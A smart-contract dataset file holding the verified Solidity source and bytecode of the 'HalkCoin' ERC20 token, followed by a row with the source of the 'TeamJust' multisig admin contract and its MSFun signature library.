|
/**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract HC is BurnableToken {
string public constant name = "HalkCoin";
string public constant symbol = "HC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 32768 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
// ----------------------------------------------------------------------------
// 'HalkCoin' contract by Arsensoz
// ----------------------------------------------------------------------------
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a10565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e67565b6040518082815260200191505060405180910390f35b6103b1610eb0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0d565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e1565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112dd565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611364565b005b6040518060400160405280600881526020017f48616c6b436f696e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6180000281565b60008111610a1d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6957600080fd5b6000339050610ac082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b18826001546114b390919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce7576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7b565b610cfa83826114b390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600281526020017f484300000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4857600080fd5b610f9a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117282600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114bf57fe5b818303905092915050565b6000808284019050838110156114dc57fe5b809150509291505056fea2646970667358221220ce66deb5139e0f49eec6d75ad1d34795ee7fc7c95696a3aa1e1f8ad17c21ba3364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,197 |
0xf8BdAaB71b736B34E793Dbfd073ead26813ea824
|
pragma solidity ^0.4.24;
/*
-Team Longames v1.0.0
*/
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
contract TeamJust {
// JIincForwarderInterface private Jekyll_Island_Inc = JIincForwarderInterface(0x0);
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// SET UP MSFun (note, check signers by name is modified from MSFun sdk)
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
MSFun.Data private msData;
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32 message_data, uint256 signature_count) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
// function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETUP
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
struct Admin {
bool isAdmin;
bool isDev;
bytes32 name;
}
mapping (address => Admin) admins_;
uint256 adminCount_;
uint256 devCount_;
uint256 requiredSignatures_;
uint256 requiredDevSignatures_;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// CONSTRUCTOR
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
constructor()
public
{
address creator = msg.sender;
admins_[creator] = Admin(true, true, "leader");
adminCount_ = 1;
devCount_ = 1;
requiredSignatures_ = 1;
requiredDevSignatures_ = 1;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// FALLBACK, SETUP, AND FORWARD
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// there should never be a balance in this contract. but if someone
// does stupidly send eth here for some reason. we can forward it
// to jekyll island
function ()
public
payable
{
//TODO
//Jekyll_Island_Inc.deposit.value(address(this).balance)();
}
// function setup(address _addr)
// onlyDevs()
// public
// {
// require( address(Jekyll_Island_Inc) == address(0) );
// Jekyll_Island_Inc = JIincForwarderInterface(_addr);
// }
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MODIFIERS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modifier onlyDevs()
{
require(admins_[msg.sender].isDev == true, "onlyDevs failed - msg.sender is not a dev");
_;
}
modifier onlyAdmins()
{
require(admins_[msg.sender].isAdmin == true, "onlyAdmins failed - msg.sender is not an admin");
_;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DEV ONLY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/**
* @dev DEV - use this to add admins. this is a dev only function.
* @param _who - address of the admin you wish to add
* @param _name - admins name
* @param _isDev - is this admin also a dev?
*/
function addAdmin(address _who, bytes32 _name, bool _isDev)
public
onlyDevs()
{
if (MSFun.multiSig(msData, requiredDevSignatures_, "addAdmin") == true)
{
MSFun.deleteProposal(msData, "addAdmin");
// must check this so we dont mess up admin count by adding someone
// who is already an admin
if (admins_[_who].isAdmin == false)
{
// set admins flag to true in admin mapping
admins_[_who].isAdmin = true;
// adjust admin count and required signatures
adminCount_ += 1;
requiredSignatures_ += 1;
}
// are we setting them as a dev?
// by putting this outside the above if statement, we can upgrade existing
// admins to devs.
if (_isDev == true)
{
// bestow the honored dev status
admins_[_who].isDev = _isDev;
// increase dev count and required dev signatures
devCount_ += 1;
requiredDevSignatures_ += 1;
}
}
// by putting this outside the above multisig, we can allow easy name changes
// without having to bother with multisig. this will still create a proposal though
// so use the deleteAnyProposal to delete it if you want to
admins_[_who].name = _name;
}
/**
* @dev DEV - use this to remove admins. this is a dev only function.
* -requirements: never less than 1 admin
* never less than 1 dev
* never less admins than required signatures
* never less devs than required dev signatures
* @param _who - address of the admin you wish to remove
*/
function removeAdmin(address _who)
public
onlyDevs()
{
// we can put our requires outside the multisig, this will prevent
// creating a proposal that would never pass checks anyway.
require(adminCount_ > 0, "removeAdmin failed - cannot have less than 1 admins");
require(adminCount_ >= requiredSignatures_, "removeAdmin failed - cannot have less admins than number of required signatures");
if (admins_[_who].isDev == true)
{
require(devCount_ > 0, "removeAdmin failed - cannot have less than 1 devs");
require(devCount_ >= requiredDevSignatures_, "removeAdmin failed - cannot have less devs than number of required dev signatures");
}
// checks passed
if (MSFun.multiSig(msData, requiredDevSignatures_, "removeAdmin") == true)
{
MSFun.deleteProposal(msData, "removeAdmin");
// must check this so we dont mess up admin count by removing someone
// who wasnt an admin to start with
if (admins_[_who].isAdmin == true) {
//set admins flag to false in admin mapping
admins_[_who].isAdmin = false;
//adjust admin count and required signatures
adminCount_ -= 1;
if (requiredSignatures_ > 1)
{
requiredSignatures_ -= 1;
}
}
// were they also a dev?
if (admins_[_who].isDev == true) {
//set dev flag to false
admins_[_who].isDev = false;
//adjust dev count and required dev signatures
devCount_ -= 1;
if (requiredDevSignatures_ > 1)
{
requiredDevSignatures_ -= 1;
}
}
}
}
/**
* @dev DEV - change the number of required signatures. must be between
* 1 and the number of admins. this is a dev only function
* @param _howMany - desired number of required signatures
*/
function changeRequiredSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= adminCount_, "changeRequiredSignatures failed - must be between 1 and number of admins");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredSignatures");
// store new setting.
requiredSignatures_ = _howMany;
}
}
/**
* @dev DEV - change the number of required dev signatures. must be between
* 1 and the number of devs. this is a dev only function
* @param _howMany - desired number of required dev signatures
*/
function changeRequiredDevSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= devCount_, "changeRequiredDevSignatures failed - must be between 1 and number of devs");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredDevSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredDevSignatures");
// store new setting.
requiredDevSignatures_ = _howMany;
}
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// EXTERNAL FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function requiredSignatures() external view returns(uint256) {return(requiredSignatures_);}
function requiredDevSignatures() external view returns(uint256) {return(requiredDevSignatures_);}
function adminCount() external view returns(uint256) {return(adminCount_);}
function devCount() external view returns(uint256) {return(devCount_);}
function adminName(address _who) external view returns(bytes32) {return(admins_[_who].name);}
function isAdmin(address _who) external view returns(bool) {return(admins_[_who].isAdmin);}
function isDev(address _who) external view returns(bool) {return(admins_[_who].isDev);}
}
library MSFun {
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// contact data setup
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
// a hash of msg.data
bytes32 msgData;
// number of signers
uint256 count;
// tracking of wither admins have signed
mapping (address => bool) admin;
// list of admins who have signed
mapping (uint256 => address) log;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MULTI SIG FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
// our proposal key will be a hash of our function name + our contracts address
// by adding our contracts address to this, we prevent anyone trying to circumvent
// the proposal's security via external calls.
bytes32 _whatProposal = whatProposal(_whatFunction);
// this is just done to make the code more readable. grabs the signature count
uint256 _currentCount = self.proposal_[_whatProposal].count;
// store the address of the person sending the function call. we use msg.sender
// here as a layer of security. in case someone imports our contract and tries to
// circumvent function arguments. still though, our contract that imports this
// library and calls multisig, needs to use onlyAdmin modifiers or anyone who
// calls the function will be a signer.
address _whichAdmin = msg.sender;
// prepare our msg data. by storing this we are able to verify that all admins
// are approving the same argument input to be executed for the function. we hash
// it and store in bytes32 so its size is known and comparable
bytes32 _msgData = keccak256(msg.data);
// check to see if this is a new execution of this proposal or not
if (_currentCount == 0)
{
// if it is, lets record the original signers data
self.proposal_[_whatProposal].msgData = _msgData;
// record original senders signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
// also useful if the calling function wants to give something to a
// specific signer.
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
// if we now have enough signatures to execute the function, lets
// return a bool of true. we put this here in case the required signatures
// is set to 1.
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
// if its not the first execution, lets make sure the msgData matches
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
// msgData is a match
// make sure admin hasnt already signed
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
// record their signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
}
// if we now have enough signatures to execute the function, lets
// return a bool of true.
// we put this here for a few reasons. (1) in normal operation, if
// that last recorded signature got us to our required signatures. we
// need to return bool of true. (2) if we have a situation where the
// required number of signatures was adjusted to at or lower than our current
// signature count, by putting this here, an admin who has already signed,
// can call the function again to make it return a true bool. but only if
// they submit the correct msg data
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
// deletes proposal signature data after successfully executing a multiSig function
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
//done for readability sake
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
//delete the admins votes & log. i know for loops are terrible. but we have to do this
//for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this.
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
//delete the rest of the data in the record
delete self.proposal_[_whatProposal];
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// HELPER FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// VANITY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// returns a hashed version of msg.data sent by original signer for any given function
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
// returns number of signers for any given function
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
// returns address of an admin who signed for any given function
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
}
|
